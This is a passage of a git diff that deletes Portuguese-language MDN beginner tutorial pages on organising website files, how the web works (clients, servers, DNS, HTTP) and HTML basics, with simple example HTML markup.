-<p><img alt="a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip." src="https://mdn.mozillademos.org/files/9455/website-screenshot-final.png" style="display: block; height: 1084px; margin: 0px auto; width: 940px;"></p>
-
-<p>Se ficou preso, pode sempre comparar o seu trabalho com <a href="https://github.com/mdn/beginner-html-site-styled/blob/gh-pages/styles/style.css">o exemplo terminado no GitHub</a>.</p>
-
-<p>Aqui, mal tocámos na superfície do CSS. Para saber mais, consulte o tópico de <a href="https://developer.mozilla.org/en-US/Learn/CSS">Aprender CSS</a>.</p>
-
-<p>{{PreviousMenuNext("Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web")}}</p>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li id="Installing_basic_software"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></li>
- <li id="What_will_your_website_look_like"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">Qual será a aparência do seu site da Web?</a></li>
- <li id="Dealing_with_files"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></li>
- <li id="CSS_basics"><a href="https://developer.mozilla.org/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">HTML - Essencial</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a></li>
- <li id="JavaScript_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - Essencial</a></li>
- <li id="Publishing_your_website"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">Publicar o seu site da Web</a></li>
- <li id="How_the_web_works"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a Web</a></li>
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html
deleted file mode 100644
index 0c168838bb..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html
+++ /dev/null
@@ -1,120 +0,0 @@
----
-title: Lidar com ficheiros
-slug: Learn/Getting_started_with_the_web/Dealing_with_files
-tags:
- - Beginner
- - Ficheiros
- - Guía
- - HTML
- - Programação Scripting
- - l10n:priority
- - site da Web
- - teoria
-translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
-original_slug: Learn/Comecar_com_a_Web/Lidar_com_ficheiros
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web")}}</div>
-
-<div class="summary">
-<p>Um site da internet<em> </em>consiste em muitos ficheiros: conteúdo de texto, código, folhas de estilo, conteúdo de multimédia, e assim por diante. Enquanto estiver a criar o site, tem que reunir esses ficheiros numa estrutura conveniente no seu computador local, certificar-se que os mesmos podem comunicar uns com os outros e preparar a apresentação do seu conteúdo, antes de eventualmente <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">enviar os ficheiros para um servidor</a>. Este artigo, <strong>Lidar com ficheiros</strong>, apresenta algumas questões de que deverá estar ciente para poder configurar uma estrutura de ficheiros conveniente para o seu site.</p>
-</div>
-
-<h2 id="Onde_deve_ficar_o_seu_site_no_seu_computador">Onde deve ficar o seu site no seu computador ?</h2>
-
-<p>Quando estiver a trabalhar num site localmente, no seu computador, deve manter todos os ficheiros relacionados numa única pasta que seja o reflexo da estrutura de ficheiros do site no servidor. Esta pasta pode ficar onde quiser, mas deve colocá-la num local de fácil acesso: talvez no seu Ambiente de Trabalho, a pasta do seu utilizador, ou a raiz do seu disco rígido.</p>
-
-<ol>
- <li>Escolha um sítio para guardar os seus projetos relacionados com sites. Lá, crie uma pasta com o nome <code>projetos-web</code> (ou um nome semelhante). É aqui que vão morar todos os seus projetos de sites.</li>
- <li>Dentro desta pasta, crie outra pasta para guardar o seu primeiro site. Pode-lhe chamar <code>site-de-teste</code> (ou algo mais criativo).</li>
-</ol>
-
-<h2 id="Um_aparte_sobre_nomes_de_pastas_e_ficheiros">Um aparte sobre nomes de pastas e ficheiros</h2>
-
-<p>Ao longo deste artigo poderá notar que os nomes que são dados às pastas e aos ficheiros estão todos em minúsculas e sem espaços. Isto porque:</p>
-
-<ol>
- <li>Muitos computadores, particularmente servidores da internet, são sensíveis a maiúsculas. Por exemplo, se criar um ficheiro de imagem com o nome <code>site-de-teste/MinhaImagem.jpg</code> e depois noutro ficheiro tentar referir-se a ela com o nome <code>site-de-teste/minhaimagem.jpg</code>, pode não resultar.</li>
- <li>Navegadores, servidores, e linguagens de programação não tratam os espaços da mesma forma. Por exemplo, se usar espaços no nome do ficheiro, alguns sistemas podem tratá-lo como dois nomes separados. Alguns servidores substituem os espaços por "%20" (código de carácter de espaços em URI), e assim arruínam os seus <em>links</em>.</li>
-</ol>
-
-<p>Por essas razões, é melhor habituar-se a escrever os nomes de pastas e ficheiros sem espaços e com palavras separadas por hífen, pelo menos até saber o que está a fazer. Desta forma, irá encontrar menos problemas mais tarde.</p>
-
-<p>Inicialmente, é melhor separar palavras com hífen em vez de <em>underscore</em>: <code>meu-ficheiro.html</code> em vez de <code>meu_ficheiro.html</code>, pois o motor de pesquisa Google interpreta o hífen como separador de palavras, mas não o <em>underscore</em>.</p>
-
-<h2 id="Que_estrutura_deverá_ter_o_seu_site">Que estrutura deverá ter o seu site?</h2>
-
-<p>De seguida, vamos discutir a estrutura que deve ter o site de teste. As coisas mais comuns que temos em qualquer site são um ficheiro índice e pastas que organizam os ficheiros por tipo: imagens, folhas de estilo e scripts. Vamos criá-las agora:</p>
-
-<ol>
- <li><code><strong>index.html</strong></code>: Este ficheiro geralmente descreve o conteúdo da sua página principal, ou seja, o texto e imagens que as pessoas veem quando visitam o site pela primeira vez. Com um editor de texto, crie um ficheiro <code>index.html</code> e guarde-o dentro da pasta <code>site-de-teste</code>.</li>
- <li><strong>Pasta <code>images</code></strong>: Esta pasta irá conter todas as imagens do seu site. Crie um pasta com este nome dentro da pasta <code>site-de-teste</code>.</li>
- <li><strong>Pasta <code>styles</code></strong>: Esta pasta contém o código CSS que dá estilo ao conteúdo (por exemplo, cor do texto e do fundo). Crie-a dentro da pasta <code>site-de-teste</code>.</li>
- <li><strong>Pasta <code>scripts</code></strong>: Esta pasta contém o código JavaScript que dá interatividade ao seu site (ex: botões que carregam dados quando premidos). Crie-adentro da pasta <code>site-de-teste</code>.</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: Em computadores com Windows, pode ter dificuldade em ver nomes dos ficheiros, porque no Windows tem uma opção, ligada por omissão, para <strong>Esconder extensões de ficheiros conhecidas</strong>. Em geral, pode desligá-la no Explorador do Windows, selecionar <strong>Opções de pastas...</strong>, desmarcar a opção em questão, na caixa de seleção, e clicar <strong>OK</strong>. Para mais informações sobre a sua versão específica de Windows, faça uma pesquisa na internet. </p>
-</div>
-
-<h2 id="Caminhos_de_ficheiros">Caminhos de ficheiros</h2>
-
-<p>Para permitir a comunicação entre ficheiros, é necessário estabelecer os caminhos entre eles. Para demonstrar, vamos inserir algum HTML no ficheiro <code>index.html</code> que mostra a imagem que escolheu no artigo <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like">Qual será a aparência do meu site?</a></p>
-
-<ol>
- <li>Copie a imagem escolhida para a pasta <code>images</code>.</li>
- <li>Abra o ficheiro <code>index.html</code>, e copie o código exatamente como se mostra em baixo. Para já não se preocupe com o que significa — vamos olhar para estas estruturas mais tarde.
- <pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="utf-8"&gt;
- &lt;title&gt;My test page&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;img src="" alt="My test image"&gt;
- &lt;/body&gt;
-&lt;/html&gt; </pre>
- </li>
- <li>A linha <code>&lt;img src="" alt="My test image"&gt;</code> é o código HTML que insere uma imagem na página. É necessário dizer, neste trecho de código HTML, onde está a imagem. A mesma está dentro da diretoria <em>images</em>, a qual está na mesma diretoria que <code>index.html</code>. Para descer na estrutura de ficheiros, de <code>index.html</code> para a imagem, o caminho é <code>images/nome-da-imagem</code>. Por exemplo, se a mesma e chamasse <code>firefox-icon.png</code>, o caminho seria <code>images/firefox-icon.png</code>.</li>
- <li>Insira este caminho no código HTML, entre as aspas neste trecho de código: <code>src=""</code>.</li>
- <li>Guarde o ficheiro HTML, depois carregue-o no seu navegador (com duplo clique). Deve conseguir ver o novo site, com a imagem! </li>
-</ol>
-
-<p><img alt="A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world" src="https://mdn.mozillademos.org/files/9229/website-screenshot.png" style="display: block; height: 542px; margin: 0px auto; width: 690px;"></p>
-
-<p>Algumas regras gerais sobre caminhos de ficheiros:</p>
-
-<ul>
- <li>Para referir a um ficheiro na mesma pasta que o ficheiro HTML onde a mesma é referida, utilize o nome desse ficheiro. Ex: <code>minha-imagem.jpg</code>.</li>
- <li>Para referir a um ficheiro numa sub-pasta, escreva o nome dessa sub-pasta antes do nome do ficheiro, seguido de uma barra. Ex: <code>sub-pasta/minha-imagem.jpg</code>.</li>
- <li>Para referir um ficheiro numa diretoria <strong>acima</strong> do ficheiro HTML que a refere, escreva dois pontos finais e uma barra. Por exemplo, se <code>index.html</code> estiver numa sub-pasta, que por sua vez está localizada em <code>site-de-teste</code>; e o ficheiro <code>minha-imagem.jpg</code> estiver na pasta <code>site-de-teste</code>, pode referir <code>minha-imagem.jpg</code> (a partir de <code>index.html</code>) com <code>../my-image.jpg</code>.</li>
- <li>Pode combiná-los como quiser. Por exemplo, <code>../subdiretoria/outra-subdiretoria/minha-imagem.jpg</code>.</li>
-</ul>
-
-<p>Por agora é tudo o que precisa de saber.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: O Windows usa barras invertidas, como no caminho <code>C:\windows</code>. Mas em HTML, isso é irrelevante — mesmo que esteja a construir o site num sistema Windows, pode usar a barra normal, <kbd>/</kbd>.</p>
-</div>
-
-<h2 id="Que_mais_deverá_ser_feito">Que mais deverá ser feito?</h2>
-
-<p>Por agora é tudo. A sua estrutura deverá ser como esta:</p>
-
-<p><img alt="A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file" src="https://mdn.mozillademos.org/files/9231/file-structure.png" style="display: block; height: 577px; margin: 0px auto; width: 929px;"></p>
-
-<p>{{PreviousMenuNext("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web")}}</p>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li id="Installing_basic_software"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></li>
- <li id="What_will_your_website_look_like"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">Qual será a aparência do seu site?</a></li>
- <li id="Dealing_with_files"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></li>
- <li id="HTML_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - Essencial</a></li>
- <li id="CSS_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a></li>
- <li id="JavaScript_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - Essencial</a></li>
- <li id="Publishing_your_website"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">Publicar o seu site</a></li>
- <li id="How_the_web_works"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a web</a></li>
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html
deleted file mode 100644
index 6eaf47b5fc..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: Como funciona a Web
-slug: Learn/Getting_started_with_the_web/How_the_Web_works
-tags:
- - Aprender
- - Beginner
- - Cliente
- - DNS
- - HTTP
- - IP
- - Infraestrutura
- - Servidor
- - TCP
- - l10n:priority
-translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
-original_slug: Learn/Comecar_com_a_Web/Como_funciona_a_Web
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenu("Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}</div>
-
-<div class="summary">
-<p>Como a Web funciona, fornece uma visualização simplificada do que acontece quando visualiza uma página da Web num navegador da Web no seu computador ou dispositivo móvel.</p>
-</div>
-
-<p>Esta teoria não é essencial para escrever o código da Web em curto prazo, mas em pouco tempo, irá realmente começar a beneficiar da compreensão do que está a acontecer em segundo plano.</p>
-
-<h2 id="Servidores_e_clientes">Servidores e clientes</h2>
-
-<p>Os computadores ligados à Web são chamados de clientes e servidores. Um diagrama simplificado de como eles interagem, parece-se como isto:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8973/Client-server.jpg" style="height: 123px; width: 336px;"></p>
-
-<ul>
- <li>Os clientes são os dispositivos típicos ligados à Internet dos utilizadores da Web (por exemplo, o seu computador ligado à sua <em>Wi-Fi</em> ou seu dispositivo móvel ligado à sua rede móvel) e o <em>software </em>de acesso à Internet disponível nesses dispositivos (geralmente um navegador da Web, tais como Firefox ou Chrome) .</li>
- <li>Os servidores são computadores que armazenam os sites, páginas ou aplicações da Web. Quando um dispositivo cliente pretende aceder a uma página da Web, uma cópia da página da Web é transferida do servidor para a máquina do cliente para ser exibida no navegador da Web do utilizador.</li>
-</ul>
-
-<h2 id="As_outras_partes_da_caixa_de_ferramentas">As outras partes da caixa de ferramentas</h2>
-
-<p>O cliente e o servidor que descrevemos acima não contam toda a história. Há muitas outras partes envolvidas, e iremos descrevê-las em baixo.</p>
-
-<p>Por enquanto, vamos imaginar que a Web é uma estrada. Num extremo da estrada está o cliente, que é como a sua casa. Na outra extremidade da estrada está o servidor, que é uma loja na qual deseja comprar algo.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9749/road.jpg" style="display: block; height: 427px; margin: 0px auto; width: 640px;"></p>
-
-<p>Além do cliente e do servidor, nós também precisamos cumprimentar:</p>
-
-<ul>
- <li><strong>A sua conexão com a internet</strong>: Permite que envie e receba dados na rede. Ela é basicamente como a rua entre a sua casa e a loja.</li>
- <li><strong>TCP/IP</strong>: Protocolo de Controlo de Transmissão (Transmission Control Protocol, em inglês) e o Protocolo da Internet (Internet Protocol, em inglês) são os protocolos de comunicação que definem como os dados devem viajar através da rede. Eles são como os mecanismos de transporte que permitem que faça um pedido, vá para a loja e compre as suas mercadorias. No nosso exemplo, eles são como um carro ou uma bicicleta (ou qualquer outra coisa que possa usar para se locomover).</li>
- <li><strong>DNS</strong>: Servidores de Nome de Domínio (Domain Name Servers, em inglês) são como um livro de endereços (ou uma agenda eletrônica) de websites. Quando digita o endereço de um site no seu navegador, ele espera o DNS encontrar o endereço real da página antes que ele possa recuperar o site para o utilizador. O navegador precisa encontrar em qual servidor o site se encontra, para que assim ele possa enviar mensagens HTTP para o lugar certo (veja abaixo).  Esse processo é como o de procurar pelo endereço da loja para que possa ir até lá.</li>
- <li><strong>HTTP</strong>: <em>Hypertext Transfer Protocol</em> é um {{Glossary("Protocol", "protocolo")}} de aplicação que define a linguagem usada para clientes e servidores comunicarem. Isto é igual à linguagem usada para comprar os bens.</li>
- <li><strong>Ficheiros componentes</strong>: Um site é feito a partir de vários ficheiros, que são como as diferentes partes dos bens que compra da loja. Estes ficheiros pertencem a duas categorias:
- <ul>
- <li><strong>Ficheiros de código</strong>: Websites são principalmente construidos com HTML, CSS e JavaScript, ficara a conhecer mais tecnologias mais logo.</li>
- <li><strong>Ativos</strong>: Isto é o nome para o resto que constitui um site, como imagens, música, vídeo, documentos Word e PDFs.</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Então_o_que_acontece_exatamente">Então, o que acontece exatamente?</h2>
-
-<p>Quando escreve um endereço web no seu browser (para a nossa analogia isso é como caminhar até à loja):</p>
-
-<ol>
- <li>O navegador vai para o servidor DNS, e encontra o endereço real do servidor onde o sítio <em>web</em> vive (encontra o endereço da loja).</li>
- <li>O navegador envia uma mensagem de pedido HTTP ao servidor, pedindo-lhe que envie uma cópia do <em>website</em> ao cliente (vai à loja e encomenda a sua mercadoria). Esta mensagem e todos os outros dados enviados entre o cliente e o servidor, é enviada através da sua ligação à Internet utilizando TCP/IP.</li>
- <li>Desde que o servidor aprove o pedido do cliente, o servidor envia ao cliente uma mensagem "200 OK", o que significa "Claro que pode olhar para esse <em>website</em>! Aqui está", e depois começa a enviar os ficheiros do sítio <em>web</em> para o navegador como uma série de pequenos pedaços chamados <em>packets</em> / pacotes de dados (a loja dá-lhe os seus bens, e você trá-los de volta para a sua casa).</li>
- <li>O navegador monta os pequenos pedaços num <em>website</em> completo e mostra-lho (os bens chegam à sua porta — coisas novas e brilhantes, espetacular!).</li>
-</ol>
-
-<h2 id="DNS_explicado">DNS explicado</h2>
-
-<p>Os verdadeiros endereços <em>web</em> não são os nomes agradáveis e memoráveis que escreve na sua barra de endereços para encontrar os seus sítios <em>web</em> favoritos. São números especiais que têm este aspeto: 63.245.215.20.</p>
-
-<p>Isto chama-se um {{Glossary("IP Address", "Endereço IP")}}, e representa uma localidade única na <em>web</em>. No entanto, não é muito fácil de lembrar, pois não? É por isso que foram inventados os Servidores de Nome de Domínio. Estes são servidores especiais que correspondem a um endereço <em>web</em> que digita no seu browser (como "mozilla.org") ao endereço real (IP) do website.</p>
-
-<p>Os <em>websites</em> podem ser acedidos diretamente através dos seus endereços IP. Pode encontrar o endereço IP de um sítio <em>web</em> digitando o seu domínio numa ferramenta como o <a href="https://ipinfo.info/html/ip_checker.php">IP Checker</a>.</p>
-
-<p><img alt="A domain name is just another form of an IP address" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p>
-
-<h2 id="Packets_explicados"><em>Packets </em>explicados</h2>
-
-<p>Anteriormente utilizámos o termo "packets" para descrever o formato em que os dados são enviados do servidor para o cliente. O que é que queremos dizer aqui? Basicamente, quando os dados são enviados através da web, são enviados como milhares de pequenos pedaços, para que muitos utilizadores da web possam descarregar o mesmo website ao mesmo tempo. Se os sítios web fossem enviados como um único grande pedaço, apenas um utilizador poderia descarregar um de cada vez, o que obviamente tornaria a web muito ineficiente e não muito divertida de utilizar.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn/Questoes_comuns/Como_funciona_a_Internet">Como funciona a Internet</a></li>
- <li><a href="https://dev.opera.com/articles/http-basic-introduction/">HTTP — an Application-Level Protocol</a></li>
- <li><a href="https://dev.opera.com/articles/http-lets-get-it-on/">HTTP: Let’s GET It On!</a></li>
- <li><a href="https://dev.opera.com/articles/http-response-codes/">HTTP: Response Codes</a></li>
-</ul>
-
-<h2 id="Créditos">Créditos</h2>
-
-<p>Street photo: <a href="https://www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ">Street composing</a>, por <a href="https://www.flickr.com/photos/kdigga/">Kevin D</a>.</p>
-
-<p>{{PreviousMenu("Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}</p>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li id="Installing_basic_software"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></li>
- <li id="What_will_your_website_look_like"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">Qual será a aparência do seu site?</a></li>
- <li id="Dealing_with_files"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></li>
- <li id="HTML_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - Essencial</a></li>
- <li id="CSS_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a></li>
- <li id="JavaScript_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - Essencial</a></li>
- <li id="Publishing_your_website"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">Publicar o seu site</a></li>
- <li id="How_the_web_works"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a web</a></li>
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html
deleted file mode 100644
index bad6619e6c..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html
+++ /dev/null
@@ -1,238 +0,0 @@
----
-title: HTML - Essencial
-slug: Learn/Getting_started_with_the_web/HTML_basics
-tags:
- - Aprender
- - CodingScripting
- - HTML
- - Principiante
- - Web
- - l10n:priority
-translation_of: Learn/Getting_started_with_the_web/HTML_basics
-original_slug: Learn/Comecar_com_a_Web/HTML_basicos
----
-<div>
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web")}}</div>
-
-<div class="summary">
-<p>HTML (Linguagem de Marcação de Hipertexto) é o código que é utilizado para estruturar uma página da <em>web</em> e o seu conteúdo. Por exemplo, o conteúdo poderá ser estruturado dentro de um conjunto de parágrafos, uma lista de pontos com marcadores, ou utilizando imagens e tabelas de dados. Como o título sugere, este artigo irá dar-lhe uma compreensão básica do HTML e as suas funções.</p>
-</div>
-
-<h2 id="Então_o_que_é_realmente_o_HTML">Então, o que é realmente o HTML?</h2>
-
-<p>HTML não é uma linguagem de programação; é uma <em>linguagem de marcação </em>que define a estrutura do seu conteúdo. HTML consiste numa série de <strong>{{Glossary("element", "elementos")}}</strong>, que se utilizam para envolver, ou cercar, diferentes partes do conteúdo, e assim fazê-lo ter uma determinada aparência ou agir de determinada maneira. As {{Glossary("tag", "etiquetas")}} envolventes podem interligar as palavras ou imagens para outro lugar, colocar palavras em itálico, tornar a letra maior ou menor, e assim por diante. Por exemplo, veja a seguinte linha de conteúdo:</p>
-
-<pre class="notranslate">O meu gato é muito rabugento</pre>
-
-<p>Caso queiramos que a linha esteja separada de outras, podemos especificar que é um parágrafo envolvendo-a em etiquetas de parágrafo:</p>
-
-<pre class="brush: html notranslate">&lt;p&gt;O meu gato é muito rabugento&lt;/p&gt;</pre>
-
-<h3 id="Anatomia_de_um_elemento_HTML">Anatomia de um elemento HTML</h3>
-
-<p>Vamos explorar este elemento de parágrafo um pouco mais.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
-
-<p>As partes principais do nosso elemento são:</p>
-
-<ol>
- <li><strong>A etiqueta de abertura:</strong> Consiste no nome do elemento (neste caso, p), envolto em <strong>parênteses angulares</strong>. Isto afirma onde começa o elemento, ou onde começa a ter efeito — neste caso, onde começa o parágrafo.</li>
- <li><strong>A etiqueta de fecho:</strong> É igual à de abertura, mas tem uma barra antes do nome do elemento. Isto afirma onde acaba o elemento — neste caso, onde fica o fim do parágrafo. Omitir a etiqueta de fecho é um erro de principiante comum e pode levar a resultados estranhos.</li>
- <li><strong>O conteúdo:</strong> É o conteúdo do elemento, que neste caso é só texto.</li>
- <li><strong>O elemento:</strong> A etiqueta de abertura, mais a etiqueta de fecho, mais o conteúdo, é igual ao elemento.</li>
-</ol>
-
-<p>Elementos também podem ter atributos, que se parecem assim:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
-
-<p>Atributos contêm informação extra sobre o elemento que não quer que apareça no conteúdo. Aqui, <code>class</code> é o <em>nome </em>do atributo, e <code>editor-note</code> é o <em>valor</em> do atributo. O atributo <code>class</code> permite identificar o elemento como sendo parte de um grupo, que pode ser alvo de regras CSS e outras coisas.</p>
-
-<p>Um atributo deverá ter sempre:</p>
-
-<ol>
- <li>Um espaço entre si o nome do elemento (ou do atributo anterior, se esse elemento já possuir um ou mais atributos).</li>
- <li>O nome do atributo, seguido de um sinal de igual.</li>
- <li>O valor do atributo, envolto em abre e fecha aspas.</li>
-</ol>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> Valores de atributos que não possuam espaço em branco ASCII (ou nenhum dos caracteres <code>"</code> <code>'</code> <code>=</code> <code>&lt;</code> <code>&gt;</code>), mas recomendado que todos os valores de atributos sejam envoltos em aspas, para tornar o código mais consistente e compreensível.</p>
-</div>
-
-<h3 id="Aninhar_elementos">Aninhar elementos</h3>
-
-<p>Também pode colocar elementos dentro de outros elementos  — chama-se a isto <strong>aninhar</strong>. Se quisermos declarar que o nosso gato é <strong>muito</strong> rabugento, podemos cercar a palavra "muito" com um elemento {{htmlelement("strong")}}, que significa que a palavra tem ênfase forte:</p>
-
-<pre class="brush: html notranslate">&lt;p&gt;O meu gato é &lt;strong&gt;muito&lt;/strong&gt; rabugento.&lt;/p&gt;</pre>
-
-<p>No entanto, tem que se certificar que os seus elementos estão devidamente aninhados: no exemplo em cima, abrimos o elemento {{htmlelement("p")}} primeiro, e depois o elemento {{htmlelement("strong")}} , portanto temos que fechar o elemento {{htmlelement("strong")}} primeiro, e só depois o {{htmlelement("p")}}. A linha seguinte está errada:</p>
-
-<pre class="example-bad brush: html notranslate">&lt;p&gt;O meu gato é &lt;strong&gt;muito rabugento.&lt;/p&gt;&lt;/strong&gt;</pre>
-
-<p>Os elementos têm que abrir e fechar corretamente para que seja claro se estão dentro ou fora uns dos outros. Se ficarem sobrepostos como se mostrou em cima, o seu navegador vai tentar adivinhar o que quis dizer, e pode obter resultados inesperados. Então, não faça isso!</p>
-
-<h3 id="Elementos_vazios">Elementos vazios</h3>
-
-<p>Alguns elementos não têm conteúdo, aos quais chamamos <strong>elementos vazios</strong>. Veja o elemento {{htmlelement("img")}} que já temos no nosso HTML:</p>
-
-<pre class="brush: html notranslate">&lt;img src="images/firefox-icon.png" alt="My test image"&gt;</pre>
-
-<p>O mesmo contém dois atributos, mas não há etiqueta de fecho, <code>&lt;/img&gt;</code>, nem conteúdo no seu interior, uma vez que um elemento de imagem não envolve conteúdo para o afetar. O seu propósito é incorporar uma imagem na página HTML, no local onde aparece.</p>
-
-<h3 id="Anatomia_de_um_documento_HTML">Anatomia de um documento HTML</h3>
-
-<p>Assim terminamos as bases de elementos HTML individuais, mas eles não são muito úteis sozinhos. Vamos agora ver como os elementos se combinam para formar uma página HTML inteira. Voltemos ao código que escrevemos no ficheiro de exemplo <code>index.html</code> (que conhecemos no artigo <a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Lidar com ficheiros</a>):</p>
-
-<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="utf-8"&gt;
- &lt;title&gt;My test page&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;img src="images/firefox-icon.png" alt="My test image"&gt;
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>Aqui temos:</p>
-</div>
-
-<ul>
- <li><code>&lt;!DOCTYPE html&gt;</code> — o tipo de documento. Na noite dos tempos, quando HTML era jovem (cerca de 1991/2), os tipos de documento agiam como ligações para um conjunto de regras que a página HTML tinha que seguir para ser considerado HTML, que podia significar verificação automática de erros e outras coisas úteis. Contudo, hoje em dia ninguém quer saber delas, e são apenas um artefacto histórico que tem que ser incluído para tudo funcionar. Para já é só isto que precisa de saber.</li>
- <li><code>&lt;html&gt;&lt;/html&gt;</code> — o elemento {{htmlelement("html")}}. Este elemento envolve o conteúdo de toda a página, e por vezes é conhecido como elemento de raiz.</li>
- <li><code>&lt;head&gt;&lt;/head&gt;</code> — o elemento {{htmlelement("head")}}. Este elemento funciona como contentor para tudo o que quer incluir na página HTML que <em>não é</em> o conteúdo mostrado aos visitantes da página. Tal inclui, por exemplo, {{Glossary("keyword", "keywords")}} e uma descrição da página que é mostrada em resultados de pesquisa, CSS para definir o estilo do conteúdo, declaração do conjunto de caracteres, e mais.</li>
